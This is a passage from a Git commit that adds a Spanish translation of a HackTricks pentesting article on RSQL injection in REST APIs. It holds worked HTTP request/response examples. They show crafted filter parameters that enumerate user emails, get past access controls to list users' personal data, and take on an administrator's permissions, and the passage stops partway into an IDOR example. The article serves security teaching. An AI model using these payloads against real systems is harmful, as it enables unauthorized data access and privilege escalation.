mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/pentesting-web/rsql-injection.md'] to es
This commit is contained in:
		
							parent
							
								
									00bccc7af7
								
							
						
					
					
						commit
						f0174c67dc
					
				
							
								
								
									
										577
									
								
								src/pentesting-web/rsql-injection.md
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										577
									
								
								src/pentesting-web/rsql-injection.md
									
									
									
									
									
										Normal file
									
								
							@ -0,0 +1,577 @@
 | 
			
		||||
# RSQL Injection
 | 
			
		||||
 | 
			
		||||
## RSQL Injection
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## RSQL Injection
 | 
			
		||||
 | 
			
		||||
## ¿Qué es RSQL?
 | 
			
		||||
RSQL es un lenguaje de consulta diseñado para el filtrado parametrizado de entradas en APIs RESTful. Basado en FIQL (Feed Item Query Language), especificado originalmente por Mark Nottingham para consultar feeds de Atom, RSQL se destaca por su simplicidad y capacidad para expresar consultas complejas de manera compacta y compatible con URI sobre HTTP. Esto lo convierte en una excelente opción como lenguaje de consulta general para la búsqueda de puntos finales REST.
 | 
			
		||||
 | 
			
		||||
## Descripción general
 | 
			
		||||
La inyección RSQL es una vulnerabilidad en aplicaciones web que utilizan RSQL como lenguaje de consulta en APIs RESTful. Similar a [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) y [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), esta vulnerabilidad ocurre cuando los filtros RSQL no se sanitizan adecuadamente, lo que permite a un atacante inyectar consultas maliciosas para acceder, modificar o eliminar datos sin autorización.
 | 
			
		||||
 | 
			
		||||
## ¿Cómo funciona?
 | 
			
		||||
RSQL te permite construir consultas avanzadas en APIs RESTful, por ejemplo:
 | 
			
		||||
```bash
 | 
			
		||||
/products?filter=price>100;category==electronics
 | 
			
		||||
```
 | 
			
		||||
Esto se traduce en una consulta estructurada que filtra productos con un precio mayor a 100 y categoría "electrónica".
 | 
			
		||||
 | 
			
		||||
Si la aplicación no valida correctamente la entrada del usuario, un atacante podría manipular el filtro para ejecutar consultas inesperadas, tales como:
 | 
			
		||||
```bash
 | 
			
		||||
/products?filter=id=in=(1,2,3);delete_all==true
 | 
			
		||||
```
 | 
			
		||||
O incluso aprovechar para extraer información sensible con consultas booleanas o subconsultas anidadas.
 | 
			
		||||
 | 
			
		||||
## Riesgos
 | 
			
		||||
- **Exposición de datos sensibles:** Un atacante puede recuperar información que no debería ser accesible.
 | 
			
		||||
- **Modificación o eliminación de datos:** Inyección de filtros que alteran registros de la base de datos.
 | 
			
		||||
- **Escalación de privilegios:** Manipulación de identificadores que otorgan roles a través de filtros para engañar a la aplicación accediendo con privilegios de otros usuarios.
 | 
			
		||||
- **Evasión de controles de acceso:** Manipulación de filtros para acceder a datos restringidos.
 | 
			
		||||
- **Suplantación o IDOR:** Modificación de identificadores entre usuarios a través de filtros que permiten el acceso a información y recursos de otros usuarios sin estar debidamente autenticado como tal.
 | 
			
		||||
 | 
			
		||||
## Operadores RSQL soportados
 | 
			
		||||
| Operador  | Descripción | Ejemplo  |
 | 
			
		||||
|:----: |:----: |:------------------:|
 | 
			
		||||
| `;` / `and` | Operador lógico **AND**. Filtra filas donde *ambas* condiciones son *verdaderas* | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` |
 | 
			
		||||
| `,` / `or` | Operador lógico **OR**. Filtra filas donde *al menos una* condición es *verdadera*| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` |
 | 
			
		||||
| `==` | Realiza una consulta de **igualdad**. Devuelve todas las filas de *myTable* donde los valores en *columnA* son exactamente iguales a *queryValue* | `/api/v2/myTable?q=columnA==queryValue` |
 | 
			
		||||
| `=q=` | Realiza una consulta de **búsqueda**. Devuelve todas las filas de *myTable* donde los valores en *columnA* contienen *queryValue* | `/api/v2/myTable?q=columnA=q=queryValue` |
 | 
			
		||||
| `=like=` | Realiza una consulta de **similaridad**. Devuelve todas las filas de *myTable* donde los valores en *columnA* son similares a *queryValue* | `/api/v2/myTable?q=columnA=like=queryValue` |
 | 
			
		||||
| `=in=` | Realiza una consulta de **inclusión**. Devuelve todas las filas de *myTable* donde *columnA* contiene *valueA* O *valueB* | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` |
 | 
			
		||||
| `=out=` | Realiza una consulta de **exclusión**. Devuelve todas las filas de *myTable* donde los valores en *columnA* son ni *valueA* ni *valueB* | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` |
 | 
			
		||||
| `!=` | Realiza una consulta de *no igualdad*. Devuelve todas las filas de *myTable* donde los valores en *columnA* no son iguales a *queryValue* | `/api/v2/myTable?q=columnA!=queryValue` |
 | 
			
		||||
| `=notlike=` | Realiza una consulta de **no similaridad**. Devuelve todas las filas de *myTable* donde los valores en *columnA* no son similares a *queryValue* | `/api/v2/myTable?q=columnA=notlike=queryValue` |
 | 
			
		||||
| `<` & `=lt=` | Realiza una consulta de **menor que**. Devuelve todas las filas de *myTable* donde los valores en *columnA* son menores que *queryValue* | `/api/v2/myTable?q=columnA<queryValue` <br> `/api/v2/myTable?q=columnA=lt=queryValue` |
 | 
			
		||||
| `=le=` & `<=` | Realiza una consulta de **menor que** o **igual a**. Devuelve todas las filas de *myTable* donde los valores en *columnA* son menores o iguales a *queryValue* | `/api/v2/myTable?q=columnA<=queryValue` <br> `/api/v2/myTable?q=columnA=le=queryValue` |
 | 
			
		||||
| `>` & `=gt=` | Realiza una consulta de **mayor que**. Devuelve todas las filas de *myTable* donde los valores en *columnA* son mayores que *queryValue* | `/api/v2/myTable?q=columnA>queryValue` <br> `/api/v2/myTable?q=columnA=gt=queryValue` |
 | 
			
		||||
| `>=` & `=ge=` | Realiza una consulta de **igual a** o **mayor que**. Devuelve todas las filas de *myTable* donde los valores en *columnA* son iguales o mayores que *queryValue* | `/api/v2/myTable?q=columnA>=queryValue` <br> `/api/v2/myTable?q=columnA=ge=queryValue` |
 | 
			
		||||
| `=rng=` | Realiza una consulta de **rango**. Devuelve todas las filas de *myTable* donde los valores en *columnA* son iguales o mayores que *fromValue*, y menores o iguales que *toValue* | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` |
 | 
			
		||||
 | 
			
		||||
**Nota**: Tabla basada en información de [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) y aplicaciones de [**rsql-parser**](https://github.com/jirutka/rsql-parser).
 | 
			
		||||
 | 
			
		||||
#### Ejemplos
 | 
			
		||||
- name=="Kill Bill";year=gt=2003
 | 
			
		||||
- name=="Kill Bill" and year>2003
 | 
			
		||||
- genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
 | 
			
		||||
- genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
 | 
			
		||||
- director.lastName==Nolan;year=ge=2000;year=lt=2010
 | 
			
		||||
- director.lastName==Nolan and year>=2000 and year<2010
 | 
			
		||||
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
 | 
			
		||||
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
 | 
			
		||||
 | 
			
		||||
**Nota**: Tabla basada en información de [**rsql-parser**](https://github.com/jirutka/rsql-parser).
 | 
			
		||||
 | 
			
		||||
## Filtros comunes
 | 
			
		||||
Estos filtros ayudan a refinar consultas en APIs:
 | 
			
		||||
 | 
			
		||||
| Filtro | Descripción | Ejemplo |
 | 
			
		||||
|--------|------------|---------|
 | 
			
		||||
| `filter[users]` | Filtra resultados por usuarios específicos | `/api/v2/myTable?filter[users]=123` |
 | 
			
		||||
| `filter[status]` | Filtra por estado (activo/inactivo, completado, etc.) | `/api/v2/orders?filter[status]=active` |
 | 
			
		||||
| `filter[date]` | Filtra resultados dentro de un rango de fechas | `/api/v2/logs?filter[date]=gte:2024-01-01` |
 | 
			
		||||
| `filter[category]` | Filtra por categoría o tipo de recurso | `/api/v2/products?filter[category]=electronics` |
 | 
			
		||||
| `filter[id]` | Filtra por un identificador único | `/api/v2/posts?filter[id]=42` |
 | 
			
		||||
 | 
			
		||||
## Parámetros comunes
 | 
			
		||||
Estos parámetros ayudan a optimizar las respuestas de la API:
 | 
			
		||||
 | 
			
		||||
| Parámetro | Descripción | Ejemplo |
 | 
			
		||||
|-----------|------------|---------|
 | 
			
		||||
| `include` | Incluye recursos relacionados en la respuesta | `/api/v2/orders?include=customer,items` |
 | 
			
		||||
| `sort` | Ordena resultados en orden ascendente o descendente | `/api/v2/users?sort=-created_at` |
 | 
			
		||||
| `page[size]` | Controla el número de resultados por página | `/api/v2/products?page[size]=10` |
 | 
			
		||||
| `page[number]` | Especifica el número de página | `/api/v2/products?page[number]=2` |
 | 
			
		||||
| `fields[resource]` | Define qué campos devolver en la respuesta | `/api/v2/users?fields[users]=id,name,email` |
 | 
			
		||||
| `search` | Realiza una búsqueda más flexible | `/api/v2/posts?search=technology` |
 | 
			
		||||
 | 
			
		||||
## Filtración de información y enumeración de usuarios
 | 
			
		||||
La siguiente solicitud muestra un endpoint de registro que requiere el parámetro de correo electrónico para verificar si hay algún usuario registrado con ese correo y devolver un verdadero o falso dependiendo de si existe o no en la base de datos:
 | 
			
		||||
### Solicitud
 | 
			
		||||
```
 | 
			
		||||
GET /api/registrations HTTP/1.1
 | 
			
		||||
Host: localhost:3000
 | 
			
		||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
 | 
			
		||||
Accept: application/vnd.api+json
 | 
			
		||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
 | 
			
		||||
Accept-Encoding: gzip, deflate, br, zstd
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Origin: https://localhost:3000
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Referer: https://localhost:3000/
 | 
			
		||||
Sec-Fetch-Dest: empty
 | 
			
		||||
Sec-Fetch-Mode: cors
 | 
			
		||||
Sec-Fetch-Site: same-site
 | 
			
		||||
```
 | 
			
		||||
### Respuesta
 | 
			
		||||
```
 | 
			
		||||
HTTP/1.1 400
 | 
			
		||||
Date: Sat, 22 Mar 2025 14:47:14 GMT
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Vary: Origin
 | 
			
		||||
Vary: Access-Control-Request-Method
 | 
			
		||||
Vary: Access-Control-Request-Headers
 | 
			
		||||
Access-Control-Allow-Origin: *
 | 
			
		||||
Content-Length: 85
 | 
			
		||||
 | 
			
		||||
{
 | 
			
		||||
"errors": [{
 | 
			
		||||
"code": "BLANK",
 | 
			
		||||
"detail": "Missing required param: email",
 | 
			
		||||
"status": "400"
 | 
			
		||||
}]
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Aunque se espera un `/api/registrations?email=<emailAccount>`, es posible utilizar filtros RSQL para intentar enumerar y/o extraer información de usuarios a través del uso de operadores especiales:  
 | 
			
		||||
### Request
 | 
			
		||||
```
 | 
			
		||||
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
 | 
			
		||||
Host: localhost:3000
 | 
			
		||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
 | 
			
		||||
Accept: application/vnd.api+json
 | 
			
		||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
 | 
			
		||||
Accept-Encoding: gzip, deflate, br, zstd
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Origin: https://locahost:3000
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Referer: https://locahost:3000/
 | 
			
		||||
Sec-Fetch-Dest: empty
 | 
			
		||||
Sec-Fetch-Mode: cors
 | 
			
		||||
Sec-Fetch-Site: same-site
 | 
			
		||||
```
 | 
			
		||||
### Respuesta
 | 
			
		||||
```
 | 
			
		||||
HTTP/1.1 200
 | 
			
		||||
Date: Sat, 22 Mar 2025 14:09:38 GMT
 | 
			
		||||
Content-Type: application/vnd.api+json;charset=UTF-8
 | 
			
		||||
Content-Length: 38
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Vary: Origin
 | 
			
		||||
Vary: Access-Control-Request-Method
 | 
			
		||||
Vary: Access-Control-Request-Headers
 | 
			
		||||
Access-Control-Allow-Origin: *
 | 
			
		||||
 | 
			
		||||
{
 | 
			
		||||
"data": {
 | 
			
		||||
"attributes": {
 | 
			
		||||
"tenants": []
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
En el caso de coincidir con una cuenta de correo electrónico válida, la aplicación devolvería la información del usuario en lugar de un clásico *“true”*, *"1"* o lo que sea en la respuesta al servidor:
 | 
			
		||||
### Request
 | 
			
		||||
```
 | 
			
		||||
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
 | 
			
		||||
Host: localhost:3000
 | 
			
		||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
 | 
			
		||||
Accept: application/vnd.api+json
 | 
			
		||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
 | 
			
		||||
Accept-Encoding: gzip, deflate, br, zstd
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Origin: https://localhost:3000
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Referer: https://localhost:3000/
 | 
			
		||||
Sec-Fetch-Dest: empty
 | 
			
		||||
Sec-Fetch-Mode: cors
 | 
			
		||||
Sec-Fetch-Site: same-site
 | 
			
		||||
```
 | 
			
		||||
### Respuesta
 | 
			
		||||
```
 | 
			
		||||
HTTP/1.1 200
 | 
			
		||||
Date: Sat, 22 Mar 2025 14:19:46 GMT
 | 
			
		||||
Content-Type: application/vnd.api+json;charset=UTF-8
 | 
			
		||||
Content-Length: 293
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Vary: Origin
 | 
			
		||||
Vary: Access-Control-Request-Method
 | 
			
		||||
Vary: Access-Control-Request-Headers
 | 
			
		||||
Access-Control-Allow-Origin: *
 | 
			
		||||
 | 
			
		||||
{
 | 
			
		||||
"data": {
 | 
			
		||||
"id": "********************",
 | 
			
		||||
"type": "UserAccountDTO",
 | 
			
		||||
"attributes": {
 | 
			
		||||
"id": "********************",
 | 
			
		||||
"type": "UserAccountDTO",
 | 
			
		||||
"email": "manuel**********@domain.local",
 | 
			
		||||
"sub": "*********************",
 | 
			
		||||
"status": "ACTIVE",
 | 
			
		||||
"tenants": [{
 | 
			
		||||
"id": "1"
 | 
			
		||||
}]
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
## Evasión de autorización
 | 
			
		||||
En este escenario, comenzamos desde un usuario con un rol básico y en el que no tenemos permisos privilegiados (por ejemplo, administrador) para acceder a la lista de todos los usuarios registrados en la base de datos:
 | 
			
		||||
### Solicitud
 | 
			
		||||
```
 | 
			
		||||
GET /api/users HTTP/1.1
 | 
			
		||||
Host: localhost:3000
 | 
			
		||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
 | 
			
		||||
Accept: application/vnd.api+json
 | 
			
		||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
 | 
			
		||||
Accept-Encoding: gzip, deflate, br, zstd
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Authorization: Bearer eyJhb.................
 | 
			
		||||
Origin: https://localhost:3000
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Referer: https://localhost:3000/
 | 
			
		||||
Sec-Fetch-Dest: empty
 | 
			
		||||
Sec-Fetch-Mode: cors
 | 
			
		||||
Sec-Fetch-Site: same-site
 | 
			
		||||
```
 | 
			
		||||
### Respuesta
 | 
			
		||||
```
 | 
			
		||||
HTTP/1.1 403
 | 
			
		||||
Date: Sat, 22 Mar 2025 14:40:07 GMT
 | 
			
		||||
Content-Length: 0
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Vary: Origin
 | 
			
		||||
Vary: Access-Control-Request-Method
 | 
			
		||||
Vary: Access-Control-Request-Headers
 | 
			
		||||
Access-Control-Allow-Origin: *
 | 
			
		||||
```
 | 
			
		||||
Nuevamente hacemos uso de los filtros y operadores especiales que nos permitirán una forma alternativa de obtener la información de los usuarios y evadir el control de acceso.  
 | 
			
		||||
Por ejemplo, filtrar por aquellos *usuarios* que contienen la letra “*a*” en su *ID* de usuario:  
 | 
			
		||||
### Request
 | 
			
		||||
```
 | 
			
		||||
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
 | 
			
		||||
Host: localhost:3000
 | 
			
		||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
 | 
			
		||||
Accept: application/vnd.api+json
 | 
			
		||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
 | 
			
		||||
Accept-Encoding: gzip, deflate, br, zstd
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Authorization: Bearer eyJhb.................
 | 
			
		||||
Origin: https://localhost:3000
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Referer: https://localhost:3000/
 | 
			
		||||
Sec-Fetch-Dest: empty
 | 
			
		||||
Sec-Fetch-Mode: cors
 | 
			
		||||
Sec-Fetch-Site: same-site
 | 
			
		||||
```
 | 
			
		||||
### Respuesta
 | 
			
		||||
```
 | 
			
		||||
HTTP/1.1 200
 | 
			
		||||
Date: Sat, 22 Mar 2025 14:43:28 GMT
 | 
			
		||||
Content-Type: application/vnd.api+json;charset=UTF-8
 | 
			
		||||
Content-Length: 1434192
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Vary: Origin
 | 
			
		||||
Vary: Access-Control-Request-Method
 | 
			
		||||
Vary: Access-Control-Request-Headers
 | 
			
		||||
Access-Control-Allow-Origin: *
 | 
			
		||||
 | 
			
		||||
{
 | 
			
		||||
"data": [{
 | 
			
		||||
"id": "********A***********",
 | 
			
		||||
"type": "UserGetResponseCustomDTO",
 | 
			
		||||
"attributes": {
 | 
			
		||||
"status": "ACTIVE",
 | 
			
		||||
"countryId": 63,
 | 
			
		||||
"timeZoneId": 3,
 | 
			
		||||
"translationKey": "************",
 | 
			
		||||
"email": "**********@domain.local",
 | 
			
		||||
"firstName": "rafael",
 | 
			
		||||
"surname": "************",
 | 
			
		||||
"telephoneCountryCode": "**",
 | 
			
		||||
"mobilePhone": "*********",
 | 
			
		||||
"taxIdentifier": "********",
 | 
			
		||||
"languageId": 1,
 | 
			
		||||
"createdAt": "2024-08-09T10:57:41.237Z",
 | 
			
		||||
"termsOfUseAccepted": true,
 | 
			
		||||
"id": "******************",
 | 
			
		||||
"type": "UserGetResponseCustomDTO"
 | 
			
		||||
}
 | 
			
		||||
}, {
 | 
			
		||||
"id": "*A*******A*****A*******A******",
 | 
			
		||||
"type": "UserGetResponseCustomDTO",
 | 
			
		||||
"attributes": {
 | 
			
		||||
"status": "ACTIVE",
 | 
			
		||||
"countryId": 63,
 | 
			
		||||
"timeZoneId": 3,
 | 
			
		||||
"translationKey": ""************",
 | 
			
		||||
"email": "juan*******@domain.local",
 | 
			
		||||
"firstName": "juan",
 | 
			
		||||
"surname": ""************",",
 | 
			
		||||
"telephoneCountryCode": "**",
 | 
			
		||||
"mobilePhone": "************",
 | 
			
		||||
"taxIdentifier": "************",
 | 
			
		||||
"languageId": 1,
 | 
			
		||||
"createdAt": "2024-07-18T06:07:37.68Z",
 | 
			
		||||
"termsOfUseAccepted": true,
 | 
			
		||||
"id": "*******************",
 | 
			
		||||
"type": "UserGetResponseCustomDTO"
 | 
			
		||||
}
 | 
			
		||||
}, {
 | 
			
		||||
................
 | 
			
		||||
```
 | 
			
		||||
## Escalación de Privilegios
 | 
			
		||||
Es muy probable encontrar ciertos endpoints que verifican los privilegios del usuario a través de su rol. Por ejemplo, estamos tratando con un usuario que no tiene privilegios:
 | 
			
		||||
### Solicitud
 | 
			
		||||
```
 | 
			
		||||
GET /api/companyUsers?include=role HTTP/1.1
 | 
			
		||||
Host: localhost:3000
 | 
			
		||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
 | 
			
		||||
Accept: application/vnd.api+json
 | 
			
		||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
 | 
			
		||||
Accept-Encoding: gzip, deflate, br, zstd
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Authorization: Bearer eyJhb......
 | 
			
		||||
Origin: https://localhost:3000
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Referer: https://localhost:3000/
 | 
			
		||||
Sec-Fetch-Dest: empty
 | 
			
		||||
Sec-Fetch-Mode: cors
 | 
			
		||||
Sec-Fetch-Site: same-site
 | 
			
		||||
```
 | 
			
		||||
### Respuesta
 | 
			
		||||
```
 | 
			
		||||
HTTP/1.1 200
 | 
			
		||||
Date: Sat, 22 Mar 2025 19:13:08 GMT
 | 
			
		||||
Content-Type: application/vnd.api+json;charset=UTF-8
 | 
			
		||||
Content-Length: 11
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Vary: Origin
 | 
			
		||||
Vary: Access-Control-Request-Method
 | 
			
		||||
Vary: Access-Control-Request-Headers
 | 
			
		||||
Access-Control-Allow-Origin: *
 | 
			
		||||
 | 
			
		||||
{
 | 
			
		||||
"data": []
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Usando ciertos operadores, podríamos enumerar usuarios administradores:  
 | 
			
		||||
### Request
 | 
			
		||||
```
 | 
			
		||||
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
 | 
			
		||||
Host: localhost:3000
 | 
			
		||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
 | 
			
		||||
Accept: application/vnd.api+json
 | 
			
		||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
 | 
			
		||||
Accept-Encoding: gzip, deflate, br, zstd
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Authorization: Bearer eyJh.....
 | 
			
		||||
Origin: https://localhost:3000
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Referer: https://localhost:3000/
 | 
			
		||||
Sec-Fetch-Dest: empty
 | 
			
		||||
Sec-Fetch-Mode: cors
 | 
			
		||||
Sec-Fetch-Site: same-site
 | 
			
		||||
```
 | 
			
		||||
### Respuesta
 | 
			
		||||
```
 | 
			
		||||
HTTP/1.1 200
 | 
			
		||||
Date: Sat, 22 Mar 2025 19:13:45 GMT
 | 
			
		||||
Content-Type: application/vnd.api+json;charset=UTF-8
 | 
			
		||||
Content-Length: 361
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Vary: Origin
 | 
			
		||||
Vary: Access-Control-Request-Method
 | 
			
		||||
Vary: Access-Control-Request-Headers
 | 
			
		||||
Access-Control-Allow-Origin: *
 | 
			
		||||
 | 
			
		||||
{
 | 
			
		||||
"data": [{
 | 
			
		||||
"type": "CompanyUserGetResponseDTO",
 | 
			
		||||
"attributes": {
 | 
			
		||||
"companyId": "FA**************",
 | 
			
		||||
"companyTaxIdentifier": "B999*******",
 | 
			
		||||
"bizName": "company sl",
 | 
			
		||||
"email": "jose*******@domain.local",
 | 
			
		||||
"userRole": {
 | 
			
		||||
"userRoleId": 1,
 | 
			
		||||
"userRoleKey": "general.roles.admin"
 | 
			
		||||
},
 | 
			
		||||
"companyCountryTranslationKey": "*******",
 | 
			
		||||
"type": "CompanyUserGetResponseDTO"
 | 
			
		||||
}
 | 
			
		||||
}]
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Después de conocer un identificador de un usuario administrador, sería posible explotar una escalada de privilegios reemplazando o añadiendo el filtro correspondiente con el identificador del administrador y obteniendo los mismos privilegios:  
 | 
			
		||||
### Request
 | 
			
		||||
```
 | 
			
		||||
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
 | 
			
		||||
Host: localhost:3000
 | 
			
		||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
 | 
			
		||||
Accept: application/vnd.api+json
 | 
			
		||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
 | 
			
		||||
Accept-Encoding: gzip, deflate, br, zstd
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Authorization: Bearer eyJ.....
 | 
			
		||||
Origin: https:/localhost:3000
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Referer: https:/localhost:3000/
 | 
			
		||||
Sec-Fetch-Dest: empty
 | 
			
		||||
Sec-Fetch-Mode: cors
 | 
			
		||||
Sec-Fetch-Site: same-site
 | 
			
		||||
```
 | 
			
		||||
### Respuesta
 | 
			
		||||
```
 | 
			
		||||
HTTP/1.1 200
 | 
			
		||||
Date: Sat, 22 Mar 2025 18:53:00 GMT
 | 
			
		||||
Content-Type: application/vnd.api+json;charset=UTF-8
 | 
			
		||||
Content-Length: 68833
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Vary: Origin
 | 
			
		||||
Vary: Access-Control-Request-Method
 | 
			
		||||
Vary: Access-Control-Request-Headers
 | 
			
		||||
Access-Control-Allow-Origin: *
 | 
			
		||||
 | 
			
		||||
{
 | 
			
		||||
"meta": {
 | 
			
		||||
"Functionalities": [{
 | 
			
		||||
"functionalityId": 1,
 | 
			
		||||
"permissionId": 1,
 | 
			
		||||
"effectivePriority": "PERMIT",
 | 
			
		||||
"effectiveBehavior": "PERMIT",
 | 
			
		||||
"translationKey": "general.userProfile",
 | 
			
		||||
"type": "FunctionalityPermissionDTO"
 | 
			
		||||
}, {
 | 
			
		||||
"functionalityId": 2,
 | 
			
		||||
"permissionId": 2,
 | 
			
		||||
"effectivePriority": "PERMIT",
 | 
			
		||||
"effectiveBehavior": "PERMIT",
 | 
			
		||||
"translationKey": "general.my_profile",
 | 
			
		||||
"type": "FunctionalityPermissionDTO"
 | 
			
		||||
}, {
 | 
			
		||||
"functionalityId": 3,
 | 
			
		||||
"permissionId": 3,
 | 
			
		||||
"effectivePriority": "PERMIT",
 | 
			
		||||
"effectiveBehavior": "PERMIT",
 | 
			
		||||
"translationKey": "layout.change_user_data",
 | 
			
		||||
"type": "FunctionalityPermissionDTO"
 | 
			
		||||
}, {
 | 
			
		||||
"functionalityId": 4,
 | 
			
		||||
"permissionId": 4,
 | 
			
		||||
"effectivePriority": "PERMIT",
 | 
			
		||||
"effectiveBehavior": "PERMIT",
 | 
			
		||||
"translationKey": "general.configuration",
 | 
			
		||||
"type": "FunctionalityPermissionDTO"
 | 
			
		||||
}, {
 | 
			
		||||
.......
 | 
			
		||||
```
 | 
			
		||||
## Suplantación o Referencias Directas a Objetos Inseguras (IDOR)
 | 
			
		||||
Además del uso del parámetro `filter`, es posible utilizar otros parámetros como `include` que permite incluir en el resultado ciertos parámetros (por ejemplo, idioma, país, contraseña...).
 | 
			
		||||
 | 
			
		||||
En el siguiente ejemplo, se muestra la información de nuestro perfil de usuario:
 | 
			
		||||
### Request
 | 
			
		||||
```
 | 
			
		||||
GET /api/users?include=language,country HTTP/1.1
 | 
			
		||||
Host: localhost:3000
 | 
			
		||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
 | 
			
		||||
Accept: application/vnd.api+json
 | 
			
		||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
 | 
			
		||||
Accept-Encoding: gzip, deflate, br, zstd
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Authorization: Bearer eyJ......
 | 
			
		||||
Origin: https://localhost:3000
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Referer: https://localhost:3000/
 | 
			
		||||
Sec-Fetch-Dest: empty
 | 
			
		||||
Sec-Fetch-Mode: cors
 | 
			
		||||
Sec-Fetch-Site: same-site
 | 
			
		||||
```
 | 
			
		||||
### Respuesta
 | 
			
		||||
```
 | 
			
		||||
HTTP/1.1 200
 | 
			
		||||
Date: Sat, 22 Mar 2025 19:47:27 GMT
 | 
			
		||||
Content-Type: application/vnd.api+json;charset=UTF-8
 | 
			
		||||
Content-Length: 540
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Vary: Origin
 | 
			
		||||
Vary: Access-Control-Request-Method
 | 
			
		||||
Vary: Access-Control-Request-Headers
 | 
			
		||||
Access-Control-Allow-Origin: *
 | 
			
		||||
 | 
			
		||||
{
 | 
			
		||||
"data": [{
 | 
			
		||||
"id": "D5********************",
 | 
			
		||||
"type": "UserGetResponseCustomDTO",
 | 
			
		||||
"attributes": {
 | 
			
		||||
"status": "ACTIVE",
 | 
			
		||||
"countryId": 63,
 | 
			
		||||
"timeZoneId": 3,
 | 
			
		||||
"translationKey": "**********",
 | 
			
		||||
"email": "domingo....@domain.local",
 | 
			
		||||
"firstName": "Domingo",
 | 
			
		||||
"surname": "**********",
 | 
			
		||||
"telephoneCountryCode": "**",
 | 
			
		||||
"mobilePhone": "******",
 | 
			
		||||
"languageId": 1,
 | 
			
		||||
"createdAt": "2024-03-11T07:24:57.627Z",
 | 
			
		||||
"termsOfUseAccepted": true,
 | 
			
		||||
"howMeetUs": "**************",
 | 
			
		||||
